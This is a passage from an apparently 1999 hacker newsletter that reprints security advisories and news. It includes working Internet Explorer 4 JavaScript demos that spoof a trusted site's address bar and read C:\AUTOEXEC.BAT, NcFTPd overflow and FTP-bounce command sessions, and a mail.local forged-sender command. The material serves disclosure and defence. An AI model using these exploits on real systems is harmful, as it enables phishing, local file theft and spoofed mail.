The problem is: if you add '%01someURL' after the URL, IE thinks that the document is loaded from the domain of 'someURL'.
<BR>
This circumvents "Cross-frame security" and opens several security holes.
<BR>
<BR>
After visiting a hostile page (or clicking a hostile link) a window is opened and its location is a trusted site.
However, the content of the window is not that of the original site, but it is supplied by the owner of the page.
So, the user is mislead he is browising a trusted site,
while he is browsing a hostile page and may provide sensitive information, such as credit card number.
<BR>
The bug may be exploited using HTML mail message. The exploit uses Javascript.
<BR>
Workaround: Disable Javascript.
<BR>
<SCRIPT>
alert('A window will be open. Examine the location and the content.\nThis may also be done by clicking a link.')
b=showModalDialog("about:<SCRIPT>a=window.open('http://www.yahoo.com');a.document.write('<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD><H1>Look at the address bar!<BR>');a.document.write('<A HREF=\"http://www.whitehats.com/guninski\">Go to Georgi Guninski\\'s home page</A></H1></BODY></HTML>');close()</"+"SCRIPT>%01http://www.yahoo.com");
</SCRIPT>
<A HREF="http://www.whitehats.com/guninski">Go to Georgi Guninski's home page.</A>
</BODY>
</HTML>
Demo #3
<HTML>
<HEAD><TITLE>
Guninski's IE 4 reading AUTOEXEC.BAT.
</TITLE>
</HEAD>
<BODY>
There is a bug in Internet Explorer 4.x (patched) which allows reading local files and sending them to an arbitrary server.
<BR>
The problem is: if you add '%01someURL' after the an about: URL, IE thinks that the document is loaded from the domain of 'someURL'.
<BR>
This circumvents "Cross-frame security" and opens several security holes.
<BR>
This will try to read C:\AUTOEXEC.BAT using TDC.
<BR>
The bug may be exploited using HTML mail message. The exploit uses Javascript.
For more info see the source.
<BR>
<BR>
Workaround: Disable Javascript.
<BR>
<SCRIPT>
alert('This tries to read your AUTOEXEC.BAT\nWait few seconds.')
s="about:<SCRIPT>a=window.open('view-source:x');a.document.open();a.document.write(\"<object id='myTDC' width=100 height=100 classid='CLSID:333C7BC4-460F-11D0-BC04-0080C7055A83'>"
+"<param name='DataURL' value='c:/autoexec.bat'><param name='UseHeader' value=False><param name='CharSet' VALUE='iso-8859-1'><param name='FieldDelim' value='}'><param name='RowDelim' value='}'><param name='TextQualifier' value='}'>"
+"</object><form><textarea datasrc='#myTDC' datafld='Column1' rows=10 cols=80></textarea></form>\");a.document.write('<SCRIPT>setTimeout(\"alert(document.forms[0].elements[0].value)\",4000)</SCRIPT');a.document.write('>');a.document.close();close()</"+"SCRIPT>%01file://c:/";
b=showModalDialog(s);
</SCRIPT>
<A HREF="http://www.whitehats.com/guninski">Go to Georgi Guninski's home page.</A>
</BODY>
</HTML>
This was reported in an earlier version and last issue of the zine but is included
here for new readers whom may be unaware or have not read the earlier issues. - Ed
04.0 Wintrasher GOLD
~~~~~~~~~~~~~~~
This program bears some looking at, when I first saw it on packetstorm
I thought the same thing i thought when I first heard of Genius's
release and thats pure scepticism, anyways I checked it out and its
pretty damn cool you might want to check it out too, 1.6M heres the
blurb from packetstorm:
Wintrasher GOLD v5.2 - Wintrasher is a powerful utility that can be ussed to configure hidden Windows settings, acting as
a Windows Shell and Desktop Management Tool. Many of the settings that change the way Windows works and looks are
hidden in the overwhelming registry, or in configuration files. WT-GOLD gives you an easy way to configure those settings.
This version also includes, backup of critical system files, improved active desktop-calendar, popup-reminder, and much
much more. Features: Get you computer to start in pure DOS again. Change the shortcut arrow to whatever you want.
Check your files for changes at startup, and prevent infection by unknown viruses. Log file editor, to View/Edit/Clear all
your Windows log files from one program. (improved from the PRO version). Personalize your Desktop pictures. Change
the Windows 9x folder structure. Watch what the uninstall programs call, when they launch, create your own and remove
any you don't want. Watch what windows launches behind your back. (Edit/Remove/Insert) Change the layout of your
Deskop, and some of it's features. Clear your history files when leaving Windows. Log logins at startup. Change your
registration information. Forgot your password to Windows9x? Retrieve or remove the password files directly. Got a habit of
forgetting stuff? The Wintrasher Calendar & Popup is with you every time you start Windows. Has your system ever
crashed, or ever wished that you didn't install that program? The system backup feature backs up critical system files,
including the Registry. Lock your system as with Windows NT with one click. Make sure you are the only one that can
use Wintrasher at the station, by password-protecting WT-Gold. For Windows 95/98. 1.6 MB. By The Silents Denmark.
Packetstorm download:
http://www.genocide2600.com/~tattooman/utility-nt/wtgold.zip
Main site:
http://www.silents.dk/
05.0 LDAP buffer overflow
~~~~~~~~~~~~~~~~~~~~~
From: X-Force <xforce@iss.net>
To: BUGTRAQ@netspace.org <BUGTRAQ@netspace.org>
Subject: ISS Security Advisory: LDAP Buffer overflow against Microsoft Directory Services
Date: 1999. oujak 16 22:03
-----BEGIN PGP SIGNED MESSAGE-----
ISS Security Advisory
March 15, 1999
LDAP Buffer overflow against Microsoft Directory Services
Synopsis:
ISS X-Force has discovered a buffer overflow exploit against Microsoft
Exchange's LDAP (Lightweight Directory Access Protocol) server which
allows read access to the Exchange server directory by using an LDAP
client. This buffer overflow consists of a malformed bind request that
overflows the buffer and can execute arbitrary code. This attack can also
cause the Exchange LDAP service to crash. This vulnerability exists in
Microsoft Exchange Server version 5.5.
Description:
This exploit occurs during the LDAP binding process. Binding involves
logging in or authenticating to a directory, and consists of sending a
username, a password, and a binding method. There are two methods in
which to use this vulnerablility against an Exchange server. The first
consists of sending a particular type of invalid LDAP bind packet which
will cause an overflow to occur this will cause the LDAP service to crash.
The second uses a large malformed LDAP bind packet that is carefully
crafted to take advantage of the buffer overflow and can be used to
execute arbitrary code.
Recommendations:
Microsoft has made a patch available for the LDAP attack. Patch
information is available at:
http://www.microsoft.com/security/bulletins/ms99-009.asp
Network administrators can protect internal systems from external attack
by adding a rule to a filtering router or firewall of the type: Deny all
incoming TCP packets with a destination port of 389.
Many firewalls or packet filters may already have more restrictive
rulesets that already encompass this filtering rule, in which case the
network is already protected from an external attack. This ruleset would
include filtering all incoming traffic to TCP port 389.
Additional Information:
These vulnerabilities were primarily researched by the ISS X-Force.
________
Copyright (c) 1999 by Internet Security Systems, Inc.
Permission is hereby granted for the electronic redistribution of this
Security Advisory. It is not to be edited in any way without express
consent of the X-Force. If you wish to reprint the whole or any part of
this Security Advisory in any other medium excluding electronic medium,
please e-mail xforce@iss.net for permission.
Internet Security Systems, Inc. (ISS) is the leading provider of adaptive
network security monitoring, detection, and response software that
protects the security and integrity of enterprise information systems. By
dynamically detecting and responding to security vulnerabilities and
threats inherent in open systems, ISS's SAFEsuite family of products
provide protection across the enterprise, including the Internet,
extranets, and internal networks, from attacks, misuse, and security
policy violations. ISS has delivered its adaptive network security
solutions to organizations worldwide, including firms in the Global 2000,
nine of the ten largest U.S. commercial banks, and over 35 governmental
agencies. For more information, call ISS at 678-443-6000 or 800-776-2362
or visit the ISS Web site at http://www.iss.net.
Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.
X-Force PGP Key available at: http://www.iss.net/xforce/sensitive.html as
well as on MIT's PGP key server and PGP.com's key server.
X-Force Vulnerability and Threat Database: http://www.iss.net/xforce
Please send suggestions, updates, and comments to:
X-Force <xforce@iss.net> of Internet Security Systems, Inc.
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: noconv
iQCVAwUBNu3GuzRfJiV99eG9AQF48wP+J1/vW040sA5f9Nz56JEF9s6d/tpainG1
Qw7Jxbry374IFinJZfk/K5FJkdbjJfMcyGfgWJjNriYZJ0EKFkQcRK7XNAUe8AGu
LWaBW4l0v1Qox3ueR3GdCskQ8haK9vpxkFkbPmlefIWKMsVhncQPloJwU3/WyPNV
uLJBWqHEpkU=
=Zp+/
-----END PGP SIGNATURE-----
From Help Net Security
http://net-security.org/
PATCH FOR "MALFORMED BIND REQUEST"
by BHZ, Wednesday 17th Mar 1999 on 8:40 pm CET
Microsoft has released a patch that eliminates a vulnerability in the LDAP Bind function for Microsoft (r)
Exchange (r) 5.5. The vulnerability could allow denial of service attacks against an Exchange server or, under
certain conditions, could allow arbitrary code to be run on the server. A fully supported patch is available, and
Microsoft recommends that customers who are at risk from this attack download and install it. You can
obtain patch for X86-based Exchange or Alpha-based Exchange
@HWA
06.0 HP Security bulletin: HPTerm exploitability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Thu, 18 Mar 1999 12:36:13 -0800
From: aleph1@UNDERGROUND.ORG
Reply-To: support_feedback@us-support.external.hp.com
To: BUGTRAQ@netspace.org
Subject: Security Bulletins Digest
HP Support Information Digests
===============================================================================
o HP Electronic Support Center World Wide Web Service
---------------------------------------------------
If you subscribed through the HP Electronic Support Center and would
like to be REMOVED from this mailing list, access the
HP Electronic Support Center on the World Wide Web at:
http://us-support.external.hp.com
Login using your HP Electronic Support Center User ID and Password.
Then select Support Information Digests. You may then unsubscribe from the
appropriate digest.
===============================================================================
?
Digest Name: Daily Security Bulletins Digest
Created: Thu Mar 18 3:00:02 PST 1999
Table of Contents:
Document ID Title
--------------- -----------
HPSBUX9903-093 Security Vulnerability with hpterm on HP-UX 10.20
The documents are listed below.
-------------------------------------------------------------------------------
?
Document ID: HPSBUX9903-093
Date Loaded: 19990317
Title: Security Vulnerability with hpterm on HP-UX 10.20
-------------------------------------------------------------------------
HEWLETT-PACKARD COMPANY SECURITY BULLETIN: #00093, 18 March 1999
-------------------------------------------------------------------------
The information in the following Security Bulletin should be acted upon
as soon as possible. Hewlett-Packard Company will not be liable for any
consequences to any customer resulting from customer's failure to fully
implement instructions in this Security Bulletin as soon as possible.
-------------------------------------------------------------------------
PROBLEM: PHSS_13560 introduced a library access problem into hpterm.
PLATFORM: HP9000 Series 700 and Series 800, HP-UX release 10.20 only.
DAMAGE: Users can gain increased privileges.
SOLUTION: Install PHSS_17830.
AVAILABILITY: The patch is available now.
-------------------------------------------------------------------------
I.
A. Background
PHSS_13560 introduced a library access problem into hpterm, the
terminal emulator for the X Window system. (See hpterm(1)).
B. Fixing the problem
Installing patch PHSS_17830 completely fixes this problem.
NOTE: Three older hpterm patches have been released including
PHSS_13560, PHSS_15431, and PHSS_17332. All of these older
patches are being superseded with the release of the
PHSS_17830.
Do not use PHSS_13560, PHSS_15431, or PHSS_17332.
C. To subscribe to automatically receive future NEW HP Security
Bulletins from the HP Electronic Support Center via electronic
mail, do the following:
Use your browser to get to the HP Electronic Support Center page
at:
http://us-support.external.hp.com
(for US, Canada, Asia-Pacific, & Latin-America)
http://europe-support.external.hp.com (for Europe)
Login with your user ID and password (or register for one).
Remember to save the User ID assigned to you, and your password.
Once you are in the Main Menu:
To -subscribe- to future HP Security Bulletins,
click on "Support Information Digests".
To -review- bulletins already released from the main Menu,
click on the "Technical Knowledge Database (Security Bulletins
only)".
Near the bottom of the next page, click on "Browse the HP Security
Bulletin Archive".
Once in the archive there is another link to our current Security
Patch Matrix. Updated daily, this matrix categorizes security
patches by platform/OS release, and by bulletin topic.
The security patch matrix is also available via anonymous ftp:
us-ffs.external.hp.com
~ftp/export/patches/hp-ux_patch_matrix
D. To report new security vulnerabilities, send email to
security-alert@hp.com
Please encrypt any exploit information using the security-alert
PGP key, available from your local key server, or by sending a
message with a -subject- (not body) of 'get key' (no quotes) to
security-alert@hp.com.
Permission is granted for copying and circulating this Bulletin to
Hewlett-Packard (HP) customers (or the Internet community) for the
purpose of alerting them to problems, if and
only if, the Bulletin
is not edited or changed in any way, is attributed to HP, and
provided such reproduction and/or distribution is performed for
non-commercial purposes.
Any other use of this information is prohibited. HP is not liable
for any misuse of this information by any third party.
_______________________________________________________________________
-----End of Document ID: HPSBUX9903-093--------------------------------------
@HWA
07.0 Eudora buffer overflow exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Approved-By: aleph1@UNDERGROUND.ORG
Received: from enext.dyndns.org (port25.mico10.tir.com [216.40.137.210]) by
netspace.org (8.8.7/8.8.7) with ESMTP id CAA18560 for
<BUGTRAQ@netspace.org>; Sat, 20 Mar 1999 02:17:38 -0500
Received: from localhost (whiz@localhost) by enext.dyndns.org (8.8.7/8.8.7)
with ESMTP id CAA12075 for <BUGTRAQ@netspace.org>; Sat, 20 Mar 1999
02:21:35 -0500
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.LNX.4.04.9903200215340.12022-100000@enext.dyndns.org>
Date: Sat, 20 Mar 1999 02:21:35 -0500
Reply-To: whiz <whiz@ENEXT.DYNDNS.ORG>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: whiz <whiz@ENEXT.DYNDNS.ORG>
Subject: Eudora Attachment Buffer Overflow
To: BUGTRAQ@netspace.org
I have found another problem with Eudora, attachments, and long filenames that
is similar to the the problem I found last year.
If two messages are sent to an Eudora 4.1 user that have an attachment with a
filename of around 231 or more, the next time the user checkes his mail Eudora
crashes. I say 231 because C:\Program Files\Eudora\Attach\ is 31 characters +
231 = 262 = longer then Windows can handle.
Eudora trucates the long filename correctly and thats why you cant't send just
one messages with a long name, like you use to be able to do with Eudora 4.0.
But it truncates it so the the path length is 259 characters which is the
maximum. Then when it receives the second attachment it truncates, and trys to
add a 1 to the end, this is where it crashes. This allows you to modify the
return address to point to arbitrary code.
Here is how i tested:
Send message to myself with attchment that has a long filename
Resend exact message
Check my mail
Eudora crashes
Both the Win 95 and Win NT versions, along with the 4.2 beta of Eudora are
affected.
The vendor of Eudora, Qualcomm was notified of this problem on 3/12/99.
-whiz
whiz@enext.dyndns.org
http://enext.dyndns.org/~whiz/
@HWA
08.0 Netscape SUSE crash exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~
Return-Path: <owner-bugtraq@netspace.org>
Approved-By: aleph1@UNDERGROUND.ORG
Date: Fri, 19 Mar 1999 22:45:02 -0800
Reply-To: Aleph One <aleph1@UNDERGROUND.ORG>
Sender: Bugtraq List <BUGTRAQ@netspace.org>
From: Aleph One <aleph1@UNDERGROUND.ORG>
Subject: Security hole in Netscape Communicator's 4.5 "talkback" function
To: BUGTRAQ@netspace.org
______________________________________________________________________________
SuSE Security Announcement
Package: netscape-4.5-9
Date: Thu Mar 18 10:22:11 CET 1999
Affected: unix operating systems using netscape communicator 4.5
______________________________________________________________________________
A security whole was discovered in the package mentioned above.
Please update as soon as possible or disable the service if you are using
this software on your SuSE Linux installation(s).
Other Linux distributions or operating systems might be affected as
well, please contact your vendor for information about this issue.
Please note, that that we provide this information on as "as-is" basis only.
There is no warranty whatsoever and no liability for any direct, indirect or
incidental damage arising from this information or the installation of
the update package.
______________________________________________________________________________
1. Problem Description
The Netscape Communicator 4.5 comes with "talkback", a quality
enhancement tool by Fullcircle (www.fullcircle.com).
If the communicator crashs for any reason, the file with the
name
/tmp/.$UID.talkback
is read in, and the pid in this file is killed.
After that, the file is truncated/created without checks for
{sym|hard}links and the pid of the current talkback process is
written into the file.
2. Impact
Anyone on the system can kill a process of users if their communicator
crashs.
Anyone on the system can overwrite/create any file an attacked users#
has write access to.
We didn't check if there's a buffer overflow possible when the talkback
application reads in the file.
3. Solution
Disable talkback. You may do this my executing the following commands
(your path to netscape may differ):
/bin/mv /opt/netscape/talkback /opt/netscape/talkback.disable
/bin/chmod -R 600 /opt/netscape/talkback
Netscape responded to this vulnerability that the current version
does not install the talkback application. You may install the new
version 4.51 from Netscape which also fixes some other security
vulnerabilities. However, if you update from a 4.5 installation, ensure
that you execute the lines above.
______________________________________________________________________________
SuSE has got two free security mailing list services to which any
interested party may subscribe:
suse-security@suse.com - unmoderated and for general/linux/SuSE
security discussions. All SuSE security
announcements are send to this list.
suse-security-announce@suse.com - SuSE's announce-only mailing list.
Only SuSE's security annoucements are sent
to this list.
To subscribe, send an email to majordomo@suse.com with the text
subscribe suse-security
or
subscribe suse-security-announce
in the body of the message. Or just issue a
echo subscribe suse-security | mail majordomo@suse.com
or
echo subscribe suse-security-announce | mail majordomo@suse.com
______________________________________________________________________________
If you want to report *NEW* security bugs in the SuSE Linux Distribution
please send an email to security@suse.de or call our support line.
You may use pgp with the public key below to ensure confidentiality.
______________________________________________________________________________
This information is provided freely to everyone interested and may
be redistributed provided that it is not altered in any way.
Type Bits/KeyID Date User ID
pub 2048/3D25D3D9 1999/03/06 SuSE Security Team <security@suse.de>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
<SNIP>
-----END PGP PUBLIC KEY BLOCK-----
@HWA
09.0 Hotmail to plug potential security problem
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HOTMAIL BUG
by BHZ, Sunday 21th Mar 1999 on 3:01 am CET
The security hole, that Hotmail plans to plug, could make users who access Hotmail
through a public terminal or other shared computer vulnerable to the prying eyes of
subsequent users. Hotmail said it had caught the security problem during a routine
security audit and was close to implementing its fix, which is to stop authentication
by IP address and require the use of cookies. The service noted that users currently
can protect themselves against the exploit by opting for cookie-based authentication.
Contributed by Thejian.
@HWA
10.0 NcFTPd Exploit (old but missed in earlier issues)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This advisory is from Proof Of Concept
Proof of Concept - Security Advisory 02/23/99
http://poc.csoft.net Released by
poc@csoft.net sw3wn@poc.csoft.net
---
Affected Program NcFTPd <http://www.ncftp.com>
Description FTP server (commercial)
Severity Theoretical root compromise, logs compromise
Synopsis:
NcFTPd is a commercial FTP (File Transfer Protocol) server, in the
NcFTP product line. The source code is not publicly released. This
was tested on Linux with libc5 (there's a glibc2 specific version
available).
Problem:
NcFTPd's PORT parsing function has a stack buffer overflow
problem, which would basically allow a user to remotely execute
arbitrary code - the thing here is that the PORT parsing function
seem to change characters, that are not in the range 0x30-0x39
(ASCII '0'-'9'), into 0x20 (ASCII space), hence making an exploit
almost impossible (note that, if ascii 0x40 would be allowed that
would be a different story =p).
The program only parses for characters out of the 0-9 range in a
specific area in memory (the one that contains return address heh)
- the rest is kept unchanged, and you can't really go further in
memory, input line size is restricted.
Like with most buffer overflows there are probably work-arounds to
exploit it - this could have been a particulary neat exploit, since
it runs as a child and one could gain access transparently without
crashing the parent.
The current bug is not really a problem, it can crash the child process
with a segfault, the parent process receives a signal 6 (abort) and the
child process stay zombie for a few seconds and a brand new one is created.
A few minor DoS attacks are possible but, who cares. Oh and this could be
used to not get listed in the logs too.
Example:
--
evil:$ nc victim ftp
220 victim NcFTPd Server (unregistered copy) ready.
user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass some@thing
230-You are user #1 of 50 simultaneous users allowed.
230-
230 Logged in anonymously.
port 00000000000000000000000000000000000000000000 (...)
501 Syntax error in parameters.
evil:$
--
Status:
I contacted the authors, nice enough to send me back the piece
of code that causes the problem - here goes:
static int
ftp_aton(const char *cp, struct sockaddr_in *sinaddr)
{
char buf[64];
char *dst;
char *dstlim;
int i, c;
unsigned int octets[6], u;
memset(sinaddr, 0, sizeof(struct sockaddr_in));
dst = buf;
dstlim = dst + sizeof(buf);
for ( ; ; ) {
c = *cp++;
if (c == '\0')
break;
if (! isdigit(c))
c = ' ';
if (dst < dstlim)
*dst++ = c;
}
*dst = '\0';
if (sscanf(buf, "%u%u%u%u%u%u",
&octets[0],
&octets[1],
&octets[2],
&octets[3],
&octets[4],
&octets[5]
) != 6) {
return (-1);
}
for (i=0; i<6; i++) {
if (octets[i] > 0xFF)
return (-1);
}
sinaddr->sin_family = AF_INET;
u = (octets[0] << 24)
| (octets[1] << 16)
| (octets[2] << 8)
| (octets[3]);
sinaddr->sin_addr.s_addr = htonl(u);
u = (octets[4] << 8) | (octets[5]);
sinaddr->sin_port = htons((unsigned short) u);
return (0);
} /* ftp_aton */
void
Port(char *line)
{
if (gLoggedIn == 0) {
NotLoggedIn();
return;
}
if (gAllowPORT == 0) {
Reply("550 This site does not permit PORT. Please use PASV
instead.\r\n");
return;
}
if (ftp_aton(line, &gRemoteDataAddr) < 0) {
Reply("501 Syntax error in parameters.\r\n");
return;
}
/* ... */
}
@HWA
10.1 NcFTPd proxy exploitation
~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept - Security Advisory 02/16/99
http://poc.csoft.net Released by
poc@csoft.net sw3wn@poc.csoft.net
---
Affected Program NcFTPd <http://www.ncftp.com>
Description FTP server (commercial)
Severity Default PORT setup, log compromise
Synopsis:
NcFTPd is a commercial FTP (File Transfer Protocol) server, in the
NcFTP product line. The source code is not publicly released. This
was tested on Linux with libc5 (there's a glibc2 specific version
available).
Overview:
To initiate a FTP transfer, there must be two connections, one
control connection (server's ftp port), and one data connection.
When a client wants to tell the server where to send the data (ie.
a file you want to download, or a directory listing), it must use
the command PORT - in which the destination address and port is
specified.
Problem:
NcFTPd does not check that the destination PORT address is the
user's IP. This means anybody can transmit data from the server
anywhere, anonymously. Obviously this can lead to potential
`easy' DoS attacks and spoofing (say, someone uploads a file
containing commands of something to incoming, PORT to some host/port,
and use RETR (retrieve file)). Such connections are possible
with the default NcFTPd configuration, but can be disallowed:
general.cf> allow-outgoing-proxy-data-connection-ports-below-1024 - no
general.cf> allow-proxy-connections - no
Most other FTP server daemons I've tried has this feature
disabled - even if the proxy connections are a documented part of
RFC 959 (FTP protocol). But this is no big deal, just a possible
amelioration.
I made an example program that listens on a port and dumps
arbitrary received data in string, hex or ascii/hex format,
and sends back EOF (needed for FTP data transfer).
[http://poc.csoft.net/code/listerine/listerine.tar.gz]
Example:
evil:$ telnet victim ftp # victim runs NcFTPd
user anonymous # anonymous is up by default
pass some@thing
port 192,168,0,1,5,131 # connect on port 1411
retr incoming/stuff # send arbitrary data, as it
# was coming from host victim.
To see for yourself, you can run my example program `listerine', on
the host victim. I tested this on my LAN and on remote machines too.
Status:
Got response from authors, the problem can be fixed indeed with
the general.cf options mentionned above, but are not enabled with
default configuration.
.sw3
@HWA
10.2 Mail.local sendmail exploit advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept - Security Mini-advisory 02/15/99
http://poc.csoft.net Released by
poc@csoft.net sw3wn@poc.csoft.net
---
Affected Program mail.local (Berkeley Sendmail)
Description Local mailer (forward mail to mailboxes)
Severity Mailbox compromise
Synopsis:
mail.local is a small program distributed with Berkeley Sendmail,
used as a local mailer (forwards mail to mailboxes), also able to
handle LMTP commands. It runs SUID root in order to access the
users's mailbox (ie. /var/spool/mail, /usr/spool/mail).
Overview:
When mail has to be written to a user's mailbox locally, a local
mailer is used; the mail.local program that comes with Sendmail
does this task, but does not restrict the length of a message, or
does not check the authenticity of the user who sends it.
This is obviously not a big security issue - but still, it has to
get fixed, as this could lead to more serious problem if used
on a system with lots of e-mail accounts.
Problem:
This can lead to the compromising of anybody's mailbox - from fake
(and totally untraceable messages), to flooding the mailbox (and
maybe the hard drive). I found this by inspecting the source code for
buffer overflows heh.
Say I wanted to send a fake message like it was coming from root
to user joe, simply running
mail.local -f root joe
<message+eof>
could do it. mail.local simply dumps the message as you enter
it in the user's maibox.
Since mail.local does not checks for message length, you can
flood a mailbox (and possibly the hard drive) in a matter of seconds.
Finally, mail.local only check if a user exists by using /etc/passwd,
that means anybody could create mailboxes for users like bin, nobody,
etc (usually it's no security compromise).
Examples:
[http://poc.csoft.net/advs/mail.local/mailfrm.tar.gz]
[http://poc.csoft.net/advs/mail.local/junk.tar.gz]
Patch/Fix:
[http://poc.csoft.net/advs/mail.local/mail.local.diff]
Status:
As of 02/22/99, I received a e-mail from the authors, the program
should be shipped non-setuid in 8.10.
.sw3
@HWA
11.0 Its in the bag, the great hacker backpack caper...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I really debated giving this any space at all but it is pertinent
to the mainstream ideals that are being generated by the media
so its here.... *sigh* - Ed
March 24th 1999 via wired news
Hackers Sack Competition Site
by Leander Kahney
5:00 p.m. 23.Mar.99.PST
Having baited crackers with a "hacking" competition to win a
backpack, a retailer's site has been hacked for real. <sic>
As previously reported, a Belgian bag manufacturer is giving a
"Hacker" branded backpack to everyone that cracks a password
competition on its Web site.
But on Tuesday Kipling's site was hacked for real.
The opening page was replaced with a screen grab that showed a
big red cross and the message: "Sorry, we've been hacked....
Site under reconstruction."
The altered page stayed up for most of Tuesday, and Kipling was
unavailable for comment. <sic>
The site intrusion may have been retaliation for disparaging remarks
made about crackers by a Kipling vice president.
Shortly before the site was hacked, the password competition was
finally cracked. It took a week of trying, claimed Mooby,
a hacker who organized a brute force method of using software to
generate all possible combinations.
The crackers' efforts finally paid off over the weekend, Mooby said
in an email.
Ironically, the password wasn't cracked by software, but obtained by
a more traditional method -- weaseling it out of someone.
"It's a pity that I can't tell how I got the final password/login,"
he wrote. "We never would have guessed [it]. Let's just say I used
some of my nerd-heroic social skills to get the right things."
Having obtained the password, Mooby shared it.
"I hope Kipling sends me this backpack," he wrote, "and all the
other 99 people I told the password."
-=-
-=-
Date: Sat, 20 Mar 1999 05:20:50 -0700 (MST)
From: mea culpa <jericho@dimensional.com>
To: InfoSec News <isn@repsec.com>
Subject: [ISN] Retailer Frustrates Hackers
http://www.wired.com/news/news/culture/story/18616.html
Retailer Frustrates Hackers
by Leander Kahney
3:00 a.m. 20.Mar.99.PST
Promoting a new line of backpacks aimed at "hackers," a European bag
manufacturer is running a crack-the-password competition on its Web site.
But to the fury of hackers trying to bypass the competition and crack the
site in earnest, all attempts to date have been unsuccessful.
According to an amusing line of posts to Slashdot, an information
clearinghouse for computer nerds, the hackers reveal their mounting
frustration at being unable to thwart the password competition.
"Come on!" wrote one. "Out of the 10,000 people who have read this
article, no one has found the username and password? I find that very hard
to believe. It has to be something completely insanely easy, right?"
Apparently not.
The "crack and win" password competition is organized by Kipling, a
manufacturer of travel bags, backpacks, and accessories based in Antwerp,
Belgium. The competition promotes its Hacker line of bags and backpacks,
which have names like bookmark, mailbomb, browser, spam, firewall, and
download.
"The game challenges every pirate out there to break into our security and
win a Hacker bag," the company said in a press release.
"You can find the code in two ways," the release continued. "Real computer
freaks will find the information in the traditional hacker manner. Those
with less hacking experience can follow the hints which appear on the
screen, which refer surfers to a Kipling sales point. Those who remain
alert will surely find the letter/number code."
Kipling confirmed it would give a bag to everyone who cracks the code,
which takes the form of a username login and password.
Rising to the challenge, readers of Slashdot quickly encouraged each other
to break the code, just for the hell of it. But after a week of trying,
most efforts have been abandoned.
"I'm sorry to say that so far no one has been able to beat the login,"
said Slashdot contributor Greg Boyce, who offered to buy a Slashdot hat
for the first person to crack it. "Turns out it was a bit more complicated
than I thought it would be."
The most ambitious attempt adopted a "brute force" strategy generating all
possible combinations of username and password. Special software to
automate the process is available on the Web.
Other attempts ranged from examining the source code for the Web page,
which is coded in Javascript, to breaking into the site.
However, Kipling said attempts to breach the site's security have so far
failed.
"No one has cracked it," said Edith Iris, Kipling's marketing manager.
"We've had no problems."
To add to the hackers' irritation, Kipling also garbled the definitions of
cherished computer terms in its marketing blurb.
According to Kipling's site, "A hacker is a cunning computer expert who
cracks the security systems of computers in order to steal or destroy
information."
But in the programming community, a malicious computer expert is called a
"cracker." A hacker is simply a harmless programmer.
"Hacker is the term in common parlance," countered Larry Lein, executive
vice president of Kipling USA. "If you asked me what a cracker was, I'd
say someone who lived in a trailer park down South."
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
12.0 DNS Spoofing finally resolved?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Sat, 20 Mar 1999 22:08:46 -0700 (MST)
From: mea culpa <jericho@dimensional.com>
To: InfoSec News <isn@repsec.com>
Subject: [ISN] bind with DNSSEC finally released
Sender: owner-isn@repsec.com
Originally From: Lucky Green <shamrock@netcom.com>
Originally To: cypherpunks@algebra.com
Seems bind 8.2 with the long-awaited secure DNS fully integrated has finally
been released. Say goodbye to DNS spoofing. Since the included crypto is
meant to be used for authentication only and the licensing agreement
prohibits the use of the said crypto for non-authentication purposes, the
distribution is freely exportable. :-)
Install bind 8.2 on your DNS server today and permanently fix one of the
largest and longest-standing security holes on the Internet.
ftp://ftp.isc.org/isc/bind/src/8.2/
--Lucky Green <shamrock@netcom.com>
PGP 5.x encrypted email preferred
-o-
Subscribe: mail majordomo@repsec.com with "subscribe isn".
Today's ISN Sponsor: Hacker News Network [www.hackernews.com]
@HWA
13.0 [ISN] IETF working group seeks to improve security alerting
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Date: Thu, 18 Mar 1999 00:33:31 -0700 (MST)
From: mea culpa <jericho@dimensional.com>
To: InfoSec News <isn@repsec.com>
Subject: [ISN] IETF working group seeks to improve security alerting
Forwarded From: darek milewski <darekm@cmeasures.com>
http://www2.nwfusion.com:8001/cgi-bin/print.cgi?article=http://www.nwfusion.com/news/1999/0316security.html
Sound the alarm!
IETF working group seeks to improve security alerting.
By Sandra Gittlen
Network World Fusion, 03/16/99
MINNEAPOLIS - An IETF working group has stepped up work on a protocol for
broadcasting alerts of network breaches across proprietary security
applications.
The Intrusion Detection Message Exchange Protocol (IDMEP) would let
applications - and system managers - quickly share information about
attacks, according to IDMEP working group members. They are meeting here
as part of an overall IETF conference.
"[IDMEP] will be useful for attacks launched from one domain to another,"
says working group attendee Brian Tung, a computer scientist at the
University of Southern California's Information Sciences Institute. "If a
source domain notices an attack, it can notify the destination network.
Right now, that's done by a human."
The group had met last year at the IETF meeting in Orlando, but was
unsuccessful in gaining consensus and had to revamp its plans. This time,
meeting attendees seemed encouraged by the group's efforts.
With the protocol, which could be based on SNMP Version 3, an alert
detailing the type of attack in progress will be automatically sent across
the network, along with a reference, such as a URL or a system file, where
the network manager can find further information. That information could
be the threshold setting of the alerter's system letting the recipient
know what the alerter considers an attack or what the alerter suggests as
a response for such an attack.
Mark Wood, product line manager at Internet Security Systems in Atlanta,
says IDMEP could dramatically improve responses to attacks because
